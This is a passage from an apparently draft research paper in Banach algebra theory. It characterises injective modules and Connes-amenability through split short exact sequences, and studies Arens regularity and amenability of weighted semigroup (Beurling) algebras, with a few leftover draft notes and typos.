Let ${\mathcal{A}}$ be a Banach algebra, and let $E$ be a Banach left ${\mathcal{A}}$-module. Then $E$ is *injective* if, whenever $F$ and $G$ are Banach left ${\mathcal{A}}$-modules, $\theta\in{_{{\mathcal{A}}}}{\mathcal{B}}(F,G)$ is injective and admissible, and $\sigma\in{_{{\mathcal{A}}}}{\mathcal{B}}(F,E)$, there exists $\rho\in{_{{\mathcal{A}}}}{\mathcal{B}}(G,E)$ with $\rho\circ\theta = \sigma$.
We say that $E$ is *left-injective* when we wish to stress that we are treating $E$ as a left module. Similar definitions hold for right modules and bimodules (written *right-injective* and *bi-injective* where necessary).
Let ${\mathcal{A}}$ be a Banach algebra, let $E$ be a Banach left ${\mathcal{A}}$-module, and turn ${\mathcal{B}}({\mathcal{A}},E)$ into a left ${\mathcal{A}}$-module by setting $$(a\cdot T)(b) = T(ba) \qquad (a,b\in{\mathcal{A}}, T\in{\mathcal{B}}({\mathcal{A}},E)).$$ Then there is a canonical left ${\mathcal{A}}$-module homomorphism $\iota:E\rightarrow {\mathcal{B}}({\mathcal{A}},E)$ given by $$\iota(x)(a) = a\cdot x\qquad (a\in{\mathcal{A}},x\in E).$$ Notice that if $E$ is a closed submodule of ${\mathcal{A}}'$, then ${\mathcal{B}}({\mathcal{A}},E)$ is a closed submodule of $(A{{\widehat{\otimes}}}A)' =
{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$, and $\iota$ is the restriction of $\Delta'_{{\mathcal{A}}}:{\mathcal{A}}'\rightarrow {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ to $E$.
Similarly, we turn ${\mathcal{B}}({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}},E)$ into a Banach ${\mathcal{A}}$-bimodule by $$(a\cdot T)(b\otimes c) = T(ba\otimes c), \
(T\cdot a)(b\otimes c) = T(b\otimes ac) \quad
( a,b,c\in{\mathcal{A}}, T\in{\mathcal{B}}({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}},E) ).$$ We then define (with an abuse of notation) $\iota:E\rightarrow{\mathcal{B}}({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}},E)$ by $$\iota(x)(a\otimes b) = a\cdot x \cdot b\qquad (x\in E,
a\otimes b\in{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}),$$ so that $\iota$ is an ${\mathcal{A}}$-bimodule homomorphism.
We can also turn ${\mathcal{B}}({\mathcal{A}},E)$ into a right ${\mathcal{A}}$-module by reversing the above (in particular, we need to take the other possible choice in Section \[con\_amen\_bidual\] leading to different module actions as compared to those in (\[eq:one\]).)
Let ${\mathcal{A}}$ be a Banach algebra, and let $E$ be a *faithful* Banach left ${\mathcal{A}}$-module (that is, for each non-zero $x\in E$ there exists $a\in{\mathcal{A}}$ with $a\cdot x\not=0$). Then $E$ is injective if and only if there exists $\phi\in{_{{\mathcal{A}}}}{\mathcal{B}}( {\mathcal{B}}({\mathcal{A}},E), E )$ such that $\phi \circ \iota = I_E$.
Similarly, if $E$ is a left and right faithful Banach ${\mathcal{A}}$-bimodule (that is, for each non-zero $x\in E$ there exists $a,b\in{\mathcal{A}}$ with $a\cdot x\not=0$ and $x\cdot b\not=0$). Then $E$ is injective if and only if there exists $\phi\in
{_{{\mathcal{A}}}}{\mathcal{B}}_{{\mathcal{A}}}( {\mathcal{B}}({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}},E), E)$ such that $\phi\circ\iota = I_E$.
The first claim is [@DP Proposition 1.7], and the second claim is an obvious generalisation.
Again, there exists a similar characterisation for right modules.
Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$. It is simple to show (see [@Runde2]) that if ${\mathcal{A}}_*$ is bi-injective, then ${\mathcal{A}}$ is Connes-amenable. Helemskii showed in [@Hel2] that for a von Neumann algebra ${\mathcal{A}}$, the converse is true. However, Runde (see [@Runde2]) and Tabaldyev (see [@Tab]) have shown that $M(G)$, the measure algebra of a locally compact group $G$, while being a dual Banach algebra with predual $C_0(G)$, has that $C_0(G)$ is a left-injective $M(G)$-module only when $G$ is finite. Of course, Runde (see [@Runde4]) has shown that $M(G)$ is Connes-amenable if and only if $G$ is amenable.
Similarly, it is simple to show (using a virtual diagonal) that if ${\mathcal{A}}$ is a Banach algebra with a bounded approximate identity, then ${\mathcal{A}}$ is amenable if and only if ${\mathcal{A}}'$ is bi-injective.
Let $E$ and $F$ be Banach left ${\mathcal{A}}$-modules, and let $\phi:E\rightarrow F$ be a left ${\mathcal{A}}$-module homomorphism which is bounded below. Then $\phi(E)$ is a closed submodule of $F$, so that $F / \phi(E)$ is a Banach left ${\mathcal{A}}$-module. Hence we have a *short exact sequence*: $$\spreaddiagramrows{4ex} \spreaddiagramcolumns{6ex}
\xymatrix{ 0 \ar[r] &
E \ar@<1ex>[r]^{\phi} &
F \ar@{->>}[r] \ar@<1ex>@{-->}[l]^{P} &
F/\phi(E) \ar[r] & 0 }.$$ If there exists a bounded linear map $P:F\rightarrow E$ such that $P\circ\phi = I_E$, then we say that the short exact sequence is *admissible*. If, further, we may choose $P$ to be a left ${\mathcal{A}}$-module homomorphism, then the short exact sequence is said to *split*. Similar definitions hold for right modules and bimodules.
Let ${\mathcal{A}}$ be a Banach algebra, let $E$ be a Banach left ${\mathcal{A}}$-module, and consider the following admissible short exact sequence: $$\spreaddiagramrows{4ex} \spreaddiagramcolumns{6ex}
\xymatrix{ 0 \ar[r] &
E \ar@<1ex>[r]^{\iota} &
{\mathcal{B}}({\mathcal{A}},E) \ar@{->>}[r] \ar@<1ex>@{-->}[l]^{P} &
{\mathcal{B}}({\mathcal{A}},E) / \iota(E) \ar[r] & 0 }.$$ Then $E$ is injective if and only if this short exact sequence splits.
See, for example, [@RundeBook Section 5.3].
Let ${\mathcal{A}}$ be a unital dual Banach algebra with predual ${\mathcal{A}}_*$, and consider the following admissible short exact sequence of ${\mathcal{A}}$-bimodules: $$\spreaddiagramcolumns{3ex}
\xymatrix{ 0 \ar[r] &
{\mathcal{A}}_* \ar@<1ex>[r]^(.35){\Delta_{{\mathcal{A}}}'} &
\sigma WC(({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})') \ar@{->>}[r] \ar@<1ex>@{-->}[l]^(0.65){P} &
\sigma WC(({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})')/\Delta_{{\mathcal{A}}}'({\mathcal{A}}_*) \ar[r] & 0 }.
\label{con_amen_ses}$$ Then ${\mathcal{A}}$ is Connes-amenable if and only if this short exact sequence splits.
Notice that $\Delta'_{{\mathcal{A}}}$ certainly maps ${\mathcal{A}}_*$ into $\sigma WC(({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})') = \sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$, and that Corollary \[unital\_dual\_sigma\] shows that we can define $P:\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))\rightarrow{\mathcal{A}}_*$ by $P(T) =
T(e_{{\mathcal{A}}})$ for $T\in \sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$.
Suppose that we can choose $P$ to be an ${\mathcal{A}}$-bimodule homomorphism. Then let $M = P'(e_{{\mathcal{A}}})$, so that for $a\in{\mathcal{A}}$ and $T\in\sigma
WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$, $${{\langle {a\cdot M-M\cdot a} , {T} \rangle}} = {{\langle {e_{{\mathcal{A}}}} , {P(T\cdot a-a\cdot T)} \rangle}}
= {{\langle {a-a} , {P(T)} \rangle}} = 0,$$ so that $a\cdot M - M\cdot a$. Also $\Delta''_{{\mathcal{A}}}(M) =
(P\circ\Delta'_{{\mathcal{A}}})'(e_{{\mathcal{A}}}) = e_{{\mathcal{A}}}$, so that $M$ is a $\sigma WC$-virtual diagonal, and hence ${\mathcal{A}}$ is Connes-amenable by Runde’s theorem.
Conversely, let $M$ be a $\sigma WC$-virtual diagonal and define $P:\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))\rightarrow{\mathcal{A}}'$ by $${{\langle {P(T)} , {a} \rangle}} = {{\langle {M} , {a\cdot T} \rangle}} \qquad (a\in{\mathcal{A}},
T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')).$$ Let $(a_\alpha)$ be a bounded net in ${\mathcal{A}}$ which tends to $a\in{\mathcal{A}}$ in the $\sigma({\mathcal{A}},{\mathcal{A}}_*)$-topology. By definition, $a_\alpha\cdot T\rightarrow a\cdot T$ weakly, for each $T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))$, so that ${{\langle {P(T)} , {a_\alpha} \rangle}} \rightarrow {{\langle {P(T)} , {a} \rangle}}$. This implies that $P$ maps into ${\mathcal{A}}_*$, as required. Then, for $\mu\in{\mathcal{A}}_*$, $${{\langle {a} , {P\Delta_{{\mathcal{A}}}'(\mu)} \rangle}} = {{\langle {M} , {a\cdot\Delta_{{\mathcal{A}}}'(\mu)} \rangle}}
= {{\langle {M} , {\Delta_{{\mathcal{A}}}'(a\cdot\mu)} \rangle}} = {{\langle {e_{{\mathcal{A}}}} , {a\cdot \mu} \rangle}}
= {{\langle {a} , {\mu} \rangle}} \qquad (a\in{\mathcal{A}}),$$ so that $P\Delta_{{\mathcal{A}}}'=I_{{\mathcal{A}}_*}$. Finally, we note that $$\begin{aligned}
{{\langle {P(a\cdot T\cdot b)} , {c} \rangle}} &= {{\langle {M} , {ca\cdot T\cdot b} \rangle}}
= {{\langle {b\cdot M} , {ca\cdot T} \rangle}}= {{\langle {M\cdot b} , {ca\cdot T} \rangle}} \\
&= {{\langle {P(T)} , {bca} \rangle}} = {{\langle {a\cdot P(T) \cdot b} , {c} \rangle}}
\qquad (a,b,c\in{\mathcal{A}}, T\in\sigma WC({\mathcal{B}}({\mathcal{A}},{\mathcal{A}}'))),\end{aligned}$$ so that $P$ is an ${\mathcal{A}}$-bimodule homomorphism, as required.
Let ${\mathcal{A}}$ be an Arens regular Banach algebra. By reversing the argument Theorem \[arens\_wap\], we can show that $\Delta'_{{\mathcal{A}}}:{\mathcal{A}}'\rightarrow{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ actually maps into ${\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}'))$. Furthermore, if ${\mathcal{A}}''$ is unital, then we may define $P:{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}'))
\rightarrow {\mathcal{A}}'$ by $${{\langle {P(T)} , {a} \rangle}} = {{\langle {e_{{\mathcal{A}}''}} , {P(a)} \rangle}}
\qquad (a\in{\mathcal{A}}, T\in{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}'))).$$ Then we have that $${{\langle {P\Delta'_{{\mathcal{A}}}(\mu)} , {a} \rangle}} = {{\langle {e_{{\mathcal{A}}''}} , {a\cdot\mu} \rangle}}
= {{\langle {\mu} , {a} \rangle}} \qquad (a\in{\mathcal{A}}, \mu\in{\mathcal{A}}').$$
Let ${\mathcal{A}}$ be an Arens regular Banach algebra such that ${\mathcal{A}}''$ is unital, and consider the following admissible short exact sequence of ${\mathcal{A}}$-bimodules: $$\spreaddiagramcolumns{3ex}
\xymatrix{ 0 \ar[r] &
{\mathcal{A}}' \ar@<1ex>[r]^(0.3){\Delta_{{\mathcal{A}}}'} &
{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')) \ar@{->>}[r] \ar@<1ex>[l]^(0.7){P} &
{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')) / \Delta_{{\mathcal{A}}}'({\mathcal{A}}') \ar[r] & 0 }.
\label{eq:two}$$ Then ${\mathcal{A}}''$ is Connes-amenable if and only if this short exact sequence splits.
This follows in the same manner as the above proof, using Theorem \[Connes\_Amen\].
Beurling algebras
=================
Let $S$ be a discrete semigroup (we can extend the following definitions to locally compact semigroups, but for the questions we are interested in, the results for non-discrete groups are trivial). A *weight* on $S$ is a function $\omega: S
\rightarrow \mathbb R^{>0}$ such that $$\omega(st)\leq \omega(s)\omega(t) \qquad (s,t\in S).$$ Furthermore, if $S$ is unital with unit $u_S$, then we also insist that $\omega(u_S)=1$. This last condition is simply a normalisation condition, as we can always set $\hat\omega(s)
= \sup\{ \omega(st) \omega(t)^{-1} : t\in S \}$ for each $s\in S$. For $s,t\in S$, we have that $\omega(st) \leq \hat\omega(s)\omega(t)$, so that $$\hat\omega(st) = \sup\{ \omega(str)\omega(r)^{-1} : r\in S \}
\leq \sup \{ \hat\omega(s)\omega(tr)\omega(r)^{-1} : r\in S \}
= \hat\omega(s) \hat\omega(t).$$ Clearly $\hat\omega(u_S)=1$ and $\hat\omega(s)\leq\omega(s)$ for each $s\in S$, while $\hat\omega(s) \geq \omega(s)\omega(u_S)^{-1}$, so that $\hat\omega$ is equivalent to $\omega$.
We form the Banach space $$l^1(S,\omega) = \Big\{ (a_g)_{g\in S} \subseteq\mathbb C :
\|(a_g)\| := \sum_{g\in S} |a_g| \omega(g) < \infty \Big\}.$$ Then $l^1(S,\omega)$, with the convolution product, is a Banach algebra, called a *Beurling algebra*. See [@CY] and [@DL] for further information on Beurling algebras and, in particular, their second duals.
It will be more convenient for us to think of $l^1(S,\omega)$ as the Banach space $l^1(S)$ together with a weighted algebra product. Indeed, for $g\in S$, let $\delta_g\in l^1(S)$ be the standard unit vector basis element which is thought of as a point-mass at $g$. Then each $x\in l^1(S)$ can be written uniquely as $x = \sum_{g\in S} x_g \delta_g$ for some family $(x_g) \subseteq \mathbb C$ such that $\|x\| = \sum_{g\in S}
|x_g| <\infty$. We then define $$\delta_g \star_\omega \delta_h = \delta_g \star \delta_h
= \delta_{gh} \Omega(g,h) \qquad (g,h\in S),$$ where $\Omega(g,h) = \omega(gh)\omega(g)^{-1}\omega(h)^{-1}$, and extend $\star$ to $l^1(S)$ by linearity and continuity.
For example, if $\omega$ and $\hat\omega$ are equivalent weights on $S$, the define $\psi: l^1(S,\omega) \rightarrow l^1(S,\hat\omega)$ by $\psi(\delta_s) = \hat\omega(s) \omega(s)^{-1} \delta_s$. As $\omega$ and $\hat\omega$ are equivalent, $\psi$ is an isomorphism of Banach spaces. Then $\psi(\delta_s \star \delta_t) = \omega(st) \omega(s)^{-1} \omega(t)^{-1}
\hat\omega(st) \omega(st)^{-1} \delta_{st} =
\psi(\delta_s) \star \psi(\delta_t)$, so that $\psi$ is a homomorphism.
For a set $I$, we define the space $c_0(I)$ as $$c_0(I) = \Big\{ (a_i)_{i\in I} : \forall\, \epsilon>0,
|\{ i\in I : |a_i|\geq\epsilon \}|<\infty \Big\},$$ where $| \cdot |$ is the cardinality of a set. We equip $c_0(I)$ with the supremum norm; then $c_0(I)' = l^1(I)$. For $i\in I$, we let $e_i\in c_0(I)$ be the point mass at $i$, that is, ${{\langle {\delta_j} , {e_i} \rangle}} = \delta_{i,j}$, the Kronecker delta, for $\delta_j\in l^1(I)$. Then $c_0(I)$ is the closed linear span of $\{ e_i : i\in I \}$. We let $l^\infty(I)$ be the Banach space of all bounded families $(a_i)_{i\in I}$, with the supremum norm. Then $l^1(I)'=l^\infty(I)$, we can treat $c_0(I)$ as a subspace of $l^\infty(I)$, and the map $\kappa_{c_0(I)}: c_0(I)\rightarrow
l^\infty(I)$ is just the inclusion map.
For a semigroup $S$ and $s\in S$, we define maps $L_s,R_s:S
\rightarrow S$ by $$L_s(t) = st, \quad R_s(t) = ts \qquad (t\in S).$$ If, for each $s\in S$, $L_s$ and $R_s$ are finite-to-one maps, then we say that $S$ is *weakly cancellative*. When $L_s$ and $R_s$ are injective for each $s\in S$, we say that $S$ is *cancellative*. When $S$ is abelian and cancellative, a construction going back to Grothendieck shows that $S$ is a sub-semigroup of some abelian group. However, this can fail to hold for non-abelian semigroups.
Let $S$ be a weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}} = l^1(S,\omega)$. Then $c_0(S) \subseteq l^\infty(S) = {\mathcal{A}}'$ is a sub-${\mathcal{A}}$-module of ${\mathcal{A}}'$, so that $l^1(S,\omega)$ is a dual Banach algebra with predual $c_0(S)$.
For $g,h\in S$ and $a=(a_s)_{s\in S} \in l^1(S,\omega)$, we have $${{\langle {e_g \cdot \delta_h} , {a} \rangle}} = {{\langle {e_g} , {\delta_h \star a} \rangle}}
= {{\langle {e_g} , {\sum_{s\in S} a_s \delta_{hs} \Omega(h,s)} \rangle}}
= \sum_{\{ s\in S : hs = g\}} a_s \Omega(h,s).$$ As $S$ is weakly cancellative, there exists at most finitely many $s\in S$ such that $hs=g$, so that $e_g \cdot \delta_h$ is a member of $c_0(S)$. Thus we see that $c_0(S)$ is a right sub-${\mathcal{A}}$-module of ${\mathcal{A}}'$. The argument on the left follows in an analogous manner.
Notice that the above result will hold for some semigroups $S$ which are not weakly cancellative, provided that the weight behaves in a certain way. However, it would appear that the later results do not easily generalise to the non-weakly cancellative case.
Following [@DL Definition 2.2], we have the following definition.
Let $I$ and $J$ be non-empty infinite sets, and let $f:I\times J\rightarrow \mathbb C$ be a function. Then *$f$ clusters on $I\times J$* if $$\lim_{n\rightarrow\infty} \lim_{m\rightarrow\infty} f(x_m,y_n)
= \lim_{m\rightarrow\infty} \lim_{n\rightarrow\infty} f(x_m,y_n),$$ whenever $(x_m)\subseteq I$ and $(y_n)\subseteq J$ are sequences of distinct elements, and both iterated limits exist.
Furthermore, *$f$ $0$-clusters on $I\times J$* if $f$ clusters on $I\times J$, and the iterated limits are always $0$, when they exist. [$\square$]{}
From now on we shall exclude the trivial case when our (semi-)group is finite.
\[B\_AR\] Let $S$ be a discrete, weakly cancellative semigroup, and let $\omega$ be a weight on $S$. Then the following are equivalent:
1. $l^1(S,\omega)$ is Arens regular;
2. for sequences of distinct elements $(g_j)$ and $(h_k)$ in $S$, we have $$\lim_{j\rightarrow\infty} \lim_{k\rightarrow\infty}
\Omega(g_j,h_k) = 0,$$ whenever the iterated limit exists;
3. $\Omega$ $0$-clusters on $S\times S$.
That (1) and (2) are equivalent for cancellative semigroups is [@CY Theorem 1]. Close examination of the proof shows that this holds for weakly cancellative semigroups as well. That (1) and (3) are equivalent follows by generalising the proof of [@DL Theorem 7.11], which is essentially an application of Grothendieck’s criterion for an operator to be weakly-compact. Alternatively, it follows easily that (2) and (3) are equivalent by considering the *opposite semigroup* to $S$ where we reverse the product.
In [@CY] it is also shown that if $G$ is a discrete, uncountable group, then $l^1(G,\omega)$ is not Arens regular for any weight $\omega$. Furthermore, by [@CY Theorem 2], if $G$ is a non-discrete locally compact group, then $L^1(G,\omega)$ is never Arens regular.
We shall consider both the Connes-amenability of $l^1(S,\omega)''$ and $l^1(S,\omega)$ (with respect to the canonical predual $c_0(S)$) as, with reference to Corollary \[unital\_dual\_sigma\] and Theorem \[arens\_wap\], the calculations should be similar.
\[weak\_comp\_infty\] Let $I$ be a non-empty set, and let $X\subseteq l^\infty(I)$ be a subset. Then the following are equivalent:
1. $X$ is relatively weakly-compact;
2. $X$ is relatively sequentially weakly-compact;
3. the absolutely convex hull of $X$ is relatively weakly-compact;
4. if we define $f:I \times X \rightarrow \mathbb C$ by $f(i,x) = {{\langle {x} , {\delta_i} \rangle}}$ for $i\in I$ and $x\in X$, then $f$ clusters on $I\times X$;
That (1) and (2) are equivalent is the Eberlien-Smulian theorem; that (1) and (3) are equivalent is the Krein-Smulian theorem. That (1) and (4) are equivalent is a result of Grothendieck, detailed in, for example, [@DL Theorem 2.3].
It is standard that for non-empty sets $I$ and $J$, we have that $l^1(I) {{\widehat{\otimes}}}l^1(J) = l^1(I \times J)$, where, for $i\in I$ and $j\in J$, $\delta_i \otimes \delta_j\in l^1(I){{\widehat{\otimes}}}l^1(J)$ is identified with $\delta_{(i,j)}\in l^1(I\times J)$. Thus we have $( l^1(I) {{\widehat{\otimes}}}l^1(J) )' = {\mathcal{B}}(l^1(I), l^\infty(J))
= l^1(I\times J)' = l^\infty(I\times J)$, where $T\in
{\mathcal{B}}(l^1(I), l^\infty(J))$ is identified with $(T_{(i,j)})
\in l^\infty(I\times J)$, where $T_{(i,j)} =
{{\langle {T(\delta_i)} , {\delta_j} \rangle}}$.
**Is this paragraph used?** Let $S$ be a countable, discrete, unital semigroup, and let $\omega$ be a weight on $S$. Then $l^1(S\times S)$ is a Banach $l^1(S,\omega)$-bimodule, with module actions $$\delta_k \cdot \delta_{(g,h)} = \delta_{(kg,h)} \Omega(k,g)
\quad , \quad
\delta_{(g,h)} \cdot \delta_k = \delta_{(g,hk)} \Omega(h,k)
\qquad (g,h,k\in S).$$
For a non-empty set $I$, the unit ball of $l^1(I)$ is the closure of the absolutely-convex hull of the set $\{ \delta_i : i\in I\}$, so that for a Banach space $E$, by the Krein-Smulian theorem, a map $T:l^1(I)\rightarrow E$ is weakly-compact if and only if the set $\{ T(\delta_i) : i\in I \}$ is relatively weakly-compact in $E$.
\[wap\_c\_zero\] Let $S$ be a weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}} = l^1(S,\omega)$. Let $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ be such that $T({\mathcal{A}}) \subseteq \kappa_{c_0(S)}(c_0(S))$ and $T'(\kappa_{{\mathcal{A}}}({\mathcal{A}})) \subseteq \kappa_{c_0(S)}(c_0(S))$. Then $T\in{\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$, and $T\in{\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}'))$ if and only if, for each sequence $(k_n)$ of distinct elements of $S$, and each sequence $(g_m,h_m)$ of distinct elements of $S\times S$ such that the repeated limits $$\begin{gathered}
\lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}}, \
\lim_n \lim_m \Omega(k_n,g_m) \label{cond_one} \\
\lim_n \lim_m {{\langle {T(\delta_{h_mk_n})} , {\delta_{g_m}} \rangle}}, \
\lim_n \lim_m \Omega(h_m,k_n) \label{cond_two}\end{gathered}$$ all exist, we have that at least one repeated limit in each row is zero.
That $T$ is weakly-compact follows from Gantmacher’s Theorem (compare with Corollary \[unital\_dual\_sigma\]). To show that $T\in{\operatorname{WAP}}$, by Lemma \[wap\_to\_maps\], we are required to show that the maps $\phi_r$ and $\phi_l$ are weakly-compact. We shall show that $\phi_l$ is weakly-compact if and only if one of the repeated limits in the first line (\[cond\_one\]) is zero; the proof that $\phi_r$ is related to (\[cond\_two\]) follows in a similar way. We have that $$\phi_l(\delta_{(g,h)}) = \phi_l(\delta_g \otimes \delta_h) =
\delta_g \cdot T(\delta_h) \qquad (g,h\in S).$$ By Proposition \[weak\_comp\_infty\], $\phi_l$ is weakly-compact if and only if the function $$S \times (S \times S) \rightarrow \mathbb C ; \
(k,(g,h)) \mapsto {{\langle {\delta_g\cdot T(\delta_h)} , {\delta_k} \rangle}}
= {{\langle {T(\delta_h)} , {\delta_{kg}} \rangle}} \Omega(k,g) \qquad (g,h,k\in S)$$ clusters on $S \times (S \times S)$. As $T$ is weakly-compact, the function $$S \times S\rightarrow\mathbb C; \quad
(g,h) \mapsto {{\langle {T(\delta_g)} , {\delta_h} \rangle}} \qquad (g,h\in S)$$ does cluster on $S\times S$.
Let $(k_n)$ be a sequence of distinct elements of $S$, and let $(g_m,h_m)$ be a sequence of distinct elements of $S\times S$ such that the iterated limits $$\lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}} \Omega(k_n,g_m)
, \quad
\lim_m \lim_n {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}} \Omega(k_n,g_m)
\label{eq:five}$$ exist. We now investigate when these iterated limits are equal.
Suppose firstly that, by moving to a subsequence if necessary, we have that $g_m = g$ for all $m$. Further, by moving to a subsequence if necessary, we may suppose that $\lim_n \Omega(k_n,g) = \alpha$, say, and that $(k_ng)$ is a sequence of distinct elements (as $S$ is weakly cancellative). Then $$\begin{aligned}
\lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}} & \Omega(k_n,g_m)
= \lim_n \Omega(k_n,g) \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng}} \rangle}} \\
&= \alpha \lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng}} \rangle}}
= \alpha \lim_m \lim_n {{\langle {T(\delta_{h_m})} , {\delta_{k_ng}} \rangle}} \\
&= \lim_m \lim_n {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}} \Omega(k_n,g_m),\end{aligned}$$ where we can swap the order of taking limits, as $T$ is weakly-compact.
Alternatively, if we cannot move to a subsequence such that $(g_m)$ is constant, then we may move to subsequence such that $(g_m)$ is a sequence of distinct elements, and such that the iterated limits $$\begin{gathered}
\lim_m \lim_n \Omega(k_n,g_m),\quad
\lim_n \lim_m \Omega(k_n,g_m), \\
\lim_m \lim_n {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}},\quad
\lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}}\end{gathered}$$ all exists. As $T({\mathcal{A}})\subseteq\kappa_{c_0(S)}(c_0(S))$, we have that $$\{ g\in S : |{{\langle {T(\delta_h)} , {\delta_g} \rangle}}|\geq\epsilon \}
\text{ is finite } \qquad (\epsilon>0, h\in S).$$ Consequently, and using the fact that $S$ is weakly cancellative, we see that $$\lim_n {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}} = 0$$ for each $m$. Hence the iterated limits in (\[eq:five\]) are equal if and only if we have that at least one repeated limit in (\[cond\_one\]) is zero.
\[auto\_semi\_wap\] Let $S$ be a discrete, unital, weakly cancellative semigroup, and let $\omega$ be a weight on $S$ such that ${\mathcal{A}} = l^1(S,\omega)$ is Arens regular. Then ${\operatorname{WAP}}({\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')) = {\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$.
Let $T\in{\mathcal{W}}({\mathcal{A}},{\mathcal{A}}')$. We can follow the above proof through until the point at which we use the fact that $T({\mathcal{A}})\subseteq \kappa_{c_0(S)}(c_0(S))$. However, as $l^1(S,\omega)$ is Arens regular, by Theorem \[B\_AR\], we have that $$\lim_m \lim_n \Omega(k_n,g_m) =
\lim_n \lim_m \Omega(k_n,g_m) = 0,$$ so that the iterated limits in (\[eq:five\]) must be $0$, implying that $\phi_l$ is weakly-compact. In a similar manner, $\phi_r$ is weakly-compact.
\[when\_loneg\_cam\] Let $S$ be a discrete weakly cancellative semigroup, and let $\omega$ be a weight on $S$ such that ${\mathcal{A}} = l^1(S,\omega)$ is Arens regular and ${\mathcal{A}}''$ is unital with unit $e_{{\mathcal{A}}''}$. Then ${\mathcal{A}}''$ is Connes-amenable if and only if there exists $M\in ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'' = l^\infty(S\times S)'$ such that:
1. ${{\langle {M} , {(f_{gh}\Omega(g,h))_{(g,h)\in S\times S}} \rangle}} = {{\langle {e_{{\mathcal{A}}''}} , {f} \rangle}}$ for each bounded family $(f_g)_{g\in S}$;
2. ${{\langle {M} , {( f(hk,g)\Omega(h,k) - f(h,kg)\Omega(k,g) )_
{(g,h)\in S\times S}} \rangle}} = 0$ for each $k\in S$, and each bounded function $f:S\times S\rightarrow\mathbb C$ which clusters on $S\times S$.
We use Theorem \[Connes\_Amen\] and Proposition \[auto\_semi\_wap\]. For $f=(f_g)_{g\in S} \in l^\infty(S)$, we have $${{\langle { \Delta'_{{\mathcal{A}}}(f) } , {\delta_g\otimes \delta_h} \rangle}}
= {{\langle {f} , {\delta_{gh}} \rangle}}\Omega(g,h) \qquad (g,h\in S),$$ so that $\Delta'_{{\mathcal{A}}}(f) = ( {{\langle {f} , {\delta_{gh}} \rangle}}\Omega(g,h) )_{(g,h)\in S\times S} \in l^\infty(S\times S)$. As $f\in l^\infty(S)$ was arbitrary, we have condition (1).
For $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$, we treat $T$ as being a member of $l^\infty(S\times S)$. Then $T$ is weakly-compact if and only if the family $({{\langle {T(\delta_g)} , {\delta_h} \rangle}})_{(g,h)\in S\times S}$ clusters on $S\times S$. For $k\in S$, we have $${{\langle { \delta_k\cdot T - T\cdot \delta_k } , {\delta_g\otimes \delta_h} \rangle}}
= {{\langle {T(\delta_{hk})} , {\delta_g} \rangle}} \Omega(h,k)
- {{\langle {T(\delta_h)} , {\delta_{kg}} \rangle}} \Omega(k,g).$$ Thus we have condition (2).
Notice that if $S$ is unital with unit $u_S$, then the unit of ${\mathcal{A}}$ (and hence ${\mathcal{A}}''$) is $\delta_{u_S}$. In this case, condition (1) reduces to ${{\langle {M} , {(f_{gh}\Omega(g,h))_{(g,h)\in S\times S}} \rangle}}
= f_{u_S}$.
\[when\_loneg\_am\] Let $S$ be a discrete unital semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}}=l^1(S,\omega)$. Then ${\mathcal{A}}$ is amenable if and only if there exists $M\in ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'' = l^\infty(S\times S)'$ such that:
1. ${{\langle {M} , {(f_{gh}\Omega(g,h))_{(g,h)\in S\times S}} \rangle}} = f_{u_S}$, where $u_S\in S$ is the unit of $S$, for each bounded family $(f_g)_{g\in S}$;
2. ${{\langle {M} , {( f(hk,g)\Omega(h,k) - f(h,kg)\Omega(k,g) )_
{(g,h)\in S\times S}} \rangle}} = 0$ for each $k\in S$, and each bounded function $f:S\times S\rightarrow\mathbb C$.
